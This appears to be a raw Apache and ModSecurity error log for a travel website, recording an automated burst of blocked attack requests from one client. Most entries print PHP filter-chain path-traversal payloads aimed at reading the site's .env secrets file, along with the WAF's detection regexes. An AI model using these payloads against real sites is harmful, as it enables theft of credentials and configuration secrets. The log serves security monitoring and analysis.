[Fri Jul 17 08:55:11.585938 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PngAAABk"]
[Fri Jul 17 08:55:11.586959 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PngAAABk"]
[Fri Jul 17 08:55:11.587093 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.587372 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw7FYe46zHK_jL3PngAAABk"]
[Fri Jul 17 08:55:11.590220 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zAAAAAw"]
[Fri Jul 17 08:55:11.591229 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zAAAAAw"]
[Fri Jul 17 08:55:11.591372 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.591714 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95zAAAAAw"]
[Fri Jul 17 08:55:11.594863 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&content=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&sid=EZKkq9CTfTdYoct0Whev6hyWLzYcFgEQQ7rzEwFSTYtxINXxE4uq_ZFbCLwufTdGtcv7h2Ywk1Tx54KAvqF7Vk3bBBBEfZvHE2Vy1kEYpohgyTPeAkZuyCNMz07AGqQ43q0oiTrHRPXq8AN4LTIm7Rv6_UzEhwd9en4nWSbxSJlLd_j8mGhwmX54xNfKLT4FjMvbgGMJiFwZjPY1Pw7kTPJTmhYWK6A-6twaDpoDNjvVGmQLChYV8us907WEeEqTz4f1QvrfFqHVlDtZxjNG-HyY&cb=45PF67DSYXHFRPDNTZEQKMCRQAWNWAUW7XNX7IB5Y6X2A..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbAAAAAU"]
[Fri Jul 17 08:55:11.594909 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbAAAAAU"]
[Fri Jul 17 08:55:11.594956 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&sid=EZKkq9CTfTdYoct0Whev6hyWLzYcFgEQQ7rzEwFSTYtxINXxE4uq_ZFbCLwufTdGtcv7h2Ywk1Tx54KAvqF7Vk3bBBBEfZvHE2Vy1kEYpohgyTPeAkZuyCNMz07AGqQ43q0oiTrHRPXq8AN4LTIm7Rv6_UzEhwd9en4nWSbxSJlLd_j8mGhwmX54xNfKLT4FjMvbgGMJiFwZjPY1Pw7kTPJTmhYWK6A-6twaDpoDNjvVGmQLChYV8us907WEeEqTz4f1QvrfFqHVlDtZxjNG-HyY&cb=45PF67DSYXHFRPDNTZEQKMCRQAWNWAUW7XNX7IB5Y6X2AU65T4X56S337VVTNKP4U3BBF3NLB..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbAAAAAU"]
[Fri Jul 17 08:55:11.594996 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&sid=ezkkq9ctftdyoct0whev6hywlzycfgeqq7rzewfstytxinxxe4uq_zfbclwuftdgtcv7h2ywk1tx54kavqf7vk3bbbbefzvhe2vy1keypohgytpeakzuycnmz07agqq43q0oitrhrpxq8an4ltim7rv6_uzehwd9en4nwsbxsjlld_j8mghwmx54xnfklt4fjmvbggmjifwzjpy1pw7ktpjtmhywk6a-6twadpodnjvvgmqlchyv8us907weeeqtz4f1qvrffqhvldtzxjng-hyy&cb=45pf67dsyxhfrpdntzeqkmcrqawnwauw7xnx7ib5y6x2au65t4x56s337vvtnkp4u3bbf3nlb..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbAAAAAU"]
[Fri Jul 17 08:55:11.595021 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbAAAAAU"]
[Fri Jul 17 08:55:11.595053 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbAAAAAU"]
[Fri Jul 17 08:55:11.595307 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&content=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&cb=PKRX2KbcINT7cWsPg3D5BSwKl1OUHddv1nMAzcp9Y-jmOaCrIlY7k2bq2hUsUXQQfIDmMhqM2fmfvINW7TlNX7pSeeSAZd9Bj1rO1T0p9j9RyPrSI5yYBdyT08bJdaBUuOiMcJTQgM-O7sLUCYT4q0UUWc1ksSBYG4P7yl2zO2qB3E9ByL8eA06jZXbThHvXLhoPKETP66zPlguxfbhdsund_hShlsILzMsKUt_sfBSRbdG4Aw2XImxpHyBK85-32ZxYjBH3eNfPMm67wSjzUazT&debug=75KSC3QIMEY66PNJSWETOC47HSQ3JFJYOD56EE6OU533H2CBM7LRNZVU5GVTTEUEMXQBFSS2APB..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NQAAABw"]
[Fri Jul 17 08:55:11.595347 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NQAAABw"]
[Fri Jul 17 08:55:11.595374 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbAAAAAU"]
[Fri Jul 17 08:55:11.595404 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&cb=PKRX2KbcINT7cWsPg3D5BSwKl1OUHddv1nMAzcp9Y-jmOaCrIlY7k2bq2hUsUXQQfIDmMhqM2fmfvINW7TlNX7pSeeSAZd9Bj1rO1T0p9j9RyPrSI5yYBdyT08bJdaBUuOiMcJTQgM-O7sLUCYT4q0UUWc1ksSBYG4P7yl2zO2qB3E9ByL8eA06jZXbThHvXLhoPKETP66zPlguxfbhdsund_hShlsILzMsKUt_sfBSRbdG4Aw2XImxpHyBK85-32ZxYjBH3eNfPMm67wSjzUazT&debug=75KSC3QIMEY66PNJSWETOC47HSQ3JFJYOD56EE6OU533H2CBM7LRNZVU5GVTTEUEMXQBFSS2APBJS65VOD7LE7NWHX3OIJR6PB3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NQAAABw"]
[Fri Jul 17 08:55:11.595452 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&cb=pkrx2kbcint7cwspg3d5bswkl1ouhddv1nmazcp9y-jmoacrily7k2bq2husuxqqfidmmhqm2fmfvinw7tlnx7pseesazd9bj1ro1t0p9j9ryprsi5yybdyt08bjdabuuoimcjtqgm-o7slucyt4q0uuwc1kssbyg4p7yl2zo2qb3e9byl8ea06jzxbthhvxlhopketp66zplguxfbhdsund_hshlsilzmskut_sfbsrbdg4aw2ximxphybk85-32zxyjbh3enfpmm67wsjzuazt&debug=75ksc3qimey66pnjswetoc47hsq3jfjyod56ee6ou533h2cbm7lrnzvu5gvtteuemxqbfss2apbjs65vod7le7nwhx3oijr6pb3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NQAAABw"]
[Fri Jul 17 08:55:11.595501 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NQAAABw"]
[Fri Jul 17 08:55:11.595543 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NQAAABw"]
[Fri Jul 17 08:55:11.595906 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NQAAABw"]
[Fri Jul 17 08:55:11.596437 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbAAAAAU"]
[Fri Jul 17 08:55:11.596564 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.596881 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AbAAAAAU"]
[Fri Jul 17 08:55:11.598954 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NQAAABw"]
[Fri Jul 17 08:55:11.599104 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBSAAAAAY"]
[Fri Jul 17 08:55:11.599696 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.599965 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-NQAAABw"]
[Fri Jul 17 08:55:11.607305 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&content=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&sid=s5t3JPPKLsSMkWNb4HXGq-pW1uiUxmS0kc1aYKUzKx5nQeytdTiMc0-4TAY_xjl42wtCQD5UZlm0S1S80aXesTKB7vXIVk2Kj0C_nya0JDIr9qqpaXxwsRwYINDS5wPqSKQHBaP4q4wEp1F7wsX7Z_UX3rlSFuE7vLx9jN6xO-ZkHsRRfFgUxqHdyHyc6mL06wAD0gCP-DvUN7yDV52DK0TKjlHp_ayJUR-KlBT_J7gt1_L5azZ4mM8kiLLmdkuP3nnCPtGtAVKVf-jmDYYwzOz0&debug=JNUIVMIULQA7CFPKW7DAC2KM7HIDYLCZ3A3PNEEQ3T46NV..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zQAAAAw"]
